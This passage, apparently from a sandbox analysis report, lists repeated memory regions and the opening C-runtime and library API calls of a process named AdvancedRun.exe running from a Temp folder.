"pagefile_0x0000000000220000" filename = "" Region: id = 4042 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4043 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4044 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4045 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4046 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4048 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4049 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4050 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4051 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4052 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4053 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4054 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4055 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4056 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4057 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4058 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4059 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4060 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4061 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4062 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4063 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4064 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4065 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4066 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4067 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4068 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4069 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4070 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4071 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4077 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4078 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4079 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4080 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4081 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4082 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4083 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4084 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4085 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4086 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4087 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4088 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4089 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4090 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4091 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4092 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4093 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4094 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4097 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4098 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4099 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4100 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4101 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4102 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4103 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4104 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4105 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4106 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4107 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4108 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4109 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4110 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4111 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4112 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4113 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4114 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4115 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4116 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4117 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4118 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4119 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4120 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 4121 start_va = 0x280000 end_va = 0x28dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 4122 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4123 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4124 start_va = 0x75800000 end_va = 0x75804fff monitored = 0 entry_point = 0x75801438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 4125 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4309 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4310 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4311 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4312 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4313 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4314 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4315 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4316 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4317 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4318 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4319 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4320 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4321 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4322 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4323 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4324 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4325 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4326 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4327 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4328 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4329 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4330 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4331 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4332 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4333 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4334 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4335 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4336 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4341 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4342 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4343 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4344 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4345 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4346 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4347 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4348 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4349 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4350 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4351 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4352 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4353 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4354 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4355 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4356 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4357 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4358 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4359 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4360 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4361 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4362 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4363 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4364 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4365 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4366 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4376 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4377 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4378 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4379 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4380 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4381 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4382 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4383 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4384 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4385 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4386 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4387 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4388 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4389 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4390 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4391 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4392 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4393 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4394 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4395 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4396 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4397 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4398 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4399 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4400 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4401 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4402 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4403 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4404 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4405 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4406 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4407 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4408 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4410 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4411 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4412 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4413 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4414 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4415 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4416 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4417 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4418 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4419 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Thread: id = 213 os_tid = 0xdd4 [0237.235] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0237.235] __set_app_type (_Type=0x2) [0237.236] __p__fmode () returned 0x74d931f4 [0237.236] __p__commode () returned 0x74d931fc [0237.236] __wgetmainargs (in: _Argc=0x18ff5c, _Argv=0x18ff60, _Env=0x18ff64, _DoWildCard=0, _StartInfo=0x18ff68 | out: _Argc=0x18ff5c, _Argv=0x18ff60, _Env=0x18ff64) returned 0 [0237.243] _onexit (_Func=0x40b65c) returned 0x40b65c [0237.243] _onexit (_Func=0x40b66d) returned 0x40b66d [0237.244] _onexit (_Func=0x40b67e) returned 0x40b67e [0237.245] _onexit (_Func=0x40b688) returned 0x40b688 [0237.245] _onexit (_Func=0x40b6a6) returned 0x40b6a6 [0237.245] _onexit (_Func=0x40b6e7) returned 0x40b6e7 [0237.245] _onexit (_Func=0x40b6f8) returned 0x40b6f8 [0237.245] _onexit (_Func=0x40b6f9) returned 0x40b6f9 [0237.245] _onexit (_Func=0x40b711) returned 0x40b711 [0237.245] GetStartupInfoW (in: lpStartupInfo=0x18ff10 | out: lpStartupInfo=0x18ff10*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0237.246] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0237.246] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x73c20000 [0237.246] GetProcAddress (hModule=0x73c20000, lpProcName="InitCommonControlsEx") returned 0x73c409ce [0237.246] InitCommonControlsEx (picce=0x18e1f8) returned 1 [0237.248] FreeLibrary (hLibModule=0x73c20000) returned 1 [0237.248] GetSystemDirectoryW (in: lpBuffer=0x41c6d0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0237.248] wcscpy (in: _Dest=0x18d9f8, 